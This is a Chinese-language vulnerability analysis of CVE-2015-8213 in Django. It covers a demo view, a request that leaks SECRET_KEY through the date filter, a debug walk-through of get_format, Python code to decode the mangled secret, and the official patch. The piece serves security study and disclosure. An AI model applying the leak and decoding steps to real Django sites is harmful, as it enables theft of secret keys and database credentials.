CVE-2015-8213: Django settings leak possibility in date template filter
Author: evi1m0 (知道创宇404安全实验室)
Date : 2015-11-26
近日 Django 官方发布《Security releases issued: 1.9rc2, 1.8.7, 1.7.11》安全公告,修复一个模板层 date 过滤器可能导致 Settings 信息泄露漏洞,从公告中我们可以看到的细节如下:
If an application allows users to specify an unvalidated format for dates and passes this format to the date filter, e.g. {{ lastupdated|date:userdateformat }}, then a malicious user could obtain any secret in the application's settings by specifying a settings key instead of a date format. e.g. "SECRETKEY" instead of "j/m/Y".
如果一个应用程序中允许用户控制模板层的 date 过滤器格式,例如 {{ lastupdated | date:userdateformat }} ,那么用户就可以通过指定一个非规范的日期格式来获取配置文件中的敏感变量值。例如:{{ lastupdated | date: "SECRETKEY" }} 而不是 {{ lastupdate | date: "j/m/Y" }} 。
漏洞效果演示
Django views.py:
1 2 3 4 5 6 7 8 |
from django.shortcuts import render import datetime def index(request, str_value): return render(request, 'test.html', {'timenow': datetime.datetime.now(), 'str_value': str_value,}) |
Django test.html:
1 2 3 |
Timenow: {{ timenow }} <br> Result : {{ timenow | date:str_value}} |
http://0.0.0.0:8000/test/Y-m-h/ :
1 2 |
Timenow: Nov. 26, 2015, 9:43 a.m. Result : 2015-11-09 |
http://0.0.0.0:8000/test/SECRET_KEY/ :
1 2 |
Timenow: Nov. 26, 2015, 9:44 a.m. Result : a.m.6(@6)489(92015-11-26T09:44:43.3510099:44v7$#26k33030nov11Thursday_x4*=330@330Thursday^119:443Thu, 26 Nov 2015 09:44:43 +0000^nov4Thu, 26 Nov 2015 09:44:43 +00008q2015-11-26T09:44:43.351009!%0# |
cat ../settings.py | grep 'SECRET_KEY' :
1 |
SECRET_KEY = 'a6(@6)48g(9cfv7$#jkztbml_x4*=z@zl^nf3r^b4r8qc!e%0#' |
通过将模板中 date 过滤器的格式替换为 SECRET_KEY 我们成功的获取并输出了 settings.py 中的敏感值,虽然因为特殊字符(时间格式化)的问题,导致这个结果与原字符串有较大差别,但通过技巧仍能还原出字符串得以利用。
漏洞分析与利用
经过阅读源码发现问题出现在 /django/utils/formats.py 文件的 get_format 函数,以下简单记录 Debug 分析过程。
/formats.py getformat() 87line 断点:
访问漏洞页面调试,{{ timenow }} 与 {{ timenow | date:str_value}} 对应值:
- {{ timenow }} : 'DATETIME_FORMAT'
- {{ timenow | date:strvalue}} : u'SECRETKEY'
date filter 的 strvalue 为可控点,作为 getformat format_type参数传入。
1 2 3 4 5 6 7 8 9 10 11 |
if lang is None: lang = get_language() cache_key = (format_type, lang) try: cached = _format_cache[cache_key] if cached is not None: return cached else: # Return the general setting by default return getattr(settings, format_type) except KeyError: |
将 format_type 及 get_language() 获取到的语言变为元组赋值后进入 try ,此时由于 _format_cache = {} 发生异常进入 except 后:
1 |
return getattr(settings, format_type) |
Python Getattr用于返回一个对象属性或者方法,示例图:
所以当我们传入 settings 中存在的变量时,会取出相应值,这也就是为什么我们把 date: 修改为 SECRETKEY 后会把配置文件中的敏感信息读出来,return 前的 formatstring 已经变成了经过渲染后的 SECRET_KEY ,后面来讲怎么处理这个“加密”后的字符串。
反推混淆值
前面说到获取(渲染)后的字符串与原字符串大有不同,原因在于 Python 时间格式化字符串的问题,仔细对比渲染前后的字符串:
- 渲染前:a6(@6)48g(9cfv7$#jkztbml_x4*=z@zl^nf3r^b4r8qc!e%0#
- 渲染后:a.m.6(@6)4810(92015-11-26T10:14:30.64551110:14v7$#26k33030nov11Thursday_x4*=330@330Thursday^1110:143Thu, 26 Nov 2015 10:14:30 +0000^nov4Thu, 26 Nov 2015 10:14:30 +00008q2015-11-26T10:14:30.645511!%0#
可以看到字符串中的 a/g/c/f/e/m/... 都被替换成了对应的时间(渲染时间),例:
- a -> a.m.
- g -> 10
- c -> 2015-11-26T10:14:30.645511
- q -> q
- . -> ...
由于时间格式化关键字的原因,某些原字符串中对应的字母会被渲染成对应的时间,部分:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 |
%y 两位数的年份表示(00-99) %Y 四位数的年份表示(0000-9999) %m 月份(01-12) %d 月内中的一天(0-31) %H 24小时制小时数(0-23) %I 12小时制小时数(01-12) %M 分钟数(00-59) %S 秒(00-59) %a 本地简化星期名称 %A 本地完整星期名称 %b 本地简化的月份名称 %B 本地完整的月份名称 %c 本地相应的日期表示和时间表示 %j 年内的一天(001-366) %p 本地A.M.或P.M.的等价符 %U 一年中的星期数(00-53)星期天为星期的开始 %w 星期(0-6),星期天为星期的开始 %W 一年中的星期数(00-53)星期一为星期的开始 %x 本地相应的日期表示 %X 本地相应的时间表示 %Z 当前时区的名称 %% %号本身 |
所以我们需要把被处理后的结果想办法反推回原始字符串,下面为反推的思考与实践。
在已知渲染时间的情况下,先将 a-zA-Z (特殊分隔符格式)使用模板进行渲染,与渲染之后的结果进行对比即可反推出每个字母对应的 value 。例如:
1 2 3 |
a-zA-Z : a|||b|||c|||d|||e|||f|||g|||h|||i|||j|||k|||l|||m|||n|||o|||p|||q|||r|||s|||t|||u|||v|||w|||x|||y|||z|||A|||b|||C|||D|||E|||F|||G|||H|||I|||J|||K|||L|||M|||N|||O|||P|||Q|||R|||S|||T|||U|||V|||W|||X|||Y|||Z Result : a.m.|||nov|||2015-11-26T10:24:05.388204|||26||||||10:24|||10|||10|||24|||26|||k|||Thursday|||11|||11|||2015|||p|||q|||Thu, 26 Nov 2015 10:24:05 +0000|||05|||30|||388204|||v|||4|||x|||15|||330|||AM|||nov|||C|||Thu|||November|||November|||10|||10|||0|||J|||K|||False|||Nov|||Nov.|||+0000|||10:24 a.m.|||Q|||R|||th|||UTC|||1448533445|||V|||48|||X|||2015|||0 |
将结果与 a-z 进行 split 关联:
1 2 3 4 5 6 7 8 9 10 11 12 |
test = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ' def convert(ires): ssss = {} ires_split = ires.split('|||') for i, k in enumerate(ires_split): l = ssss.get(k, []) if not l: ssss[k] = [] if test[i] not in l: ssss[k].append(test[i]) return ssss |
我们推算出每个字母对应的值后可以通过使用长度排序值的方式将 Dict 进行排序,以最长的为种子不断遍历替换并标记(防止与左右组合后再次被匹配到),这样就能够得到多种可能结果,其中可能会有单个值对应多个字母的情况,所以结果并不是唯一的。
经过大半天的折腾终于搞定了这个班自动化脚本,他需要使用者提供两个参数,a-zA-Z 生成的渲染结果以及要解密的字符串,下面我试着解密 settings.py 中的 DATABASES 敏感信息的部分数据:
Python-Script: https://gist.github.com/Evi1m0/1f3c336c1319fc0d1812
修复方案
1 2 3 4 5 6 7 8 9 10 11 12 |
November 24, 2015 - CVE-2015-8213 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ `CVE-2015-8213 <https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-8213&cid=2>`_: Settings leak possibility in ``date`` template filter. `Full description <https://www.djangoproject.com/weblog/2015/nov/24/security-releases-issued/>`__ Versions affected ----------------- * Django 1.8 `(patch) <https://github.com/django/django/commit/9f83fc2f66f5a0bac7c291aec55df66050bb6991>`__ * Django 1.7 `(patch) <https://github.com/django/django/commit/8a01c6b53169ee079cb21ac5919fdafcc8c5e172>`__ |
为了解决这个问题,底层函数日期模板的 filter [Django.utils.formats.get_format()] 现在只允许访问日期和时间格式的设置,补丁:
小结
在未阅读源码时我在想这个问题的成因是否由于开发人员在写判断语句时出了错,后面才发现作者是出于为用户考虑自定义时间格式,最后才会去 settings 里读对应的传参值,就这样导致了漏洞的产生。
虽然真实环境中用户可控 date filter 的情况比较少,但漏洞还是蛮有趣的。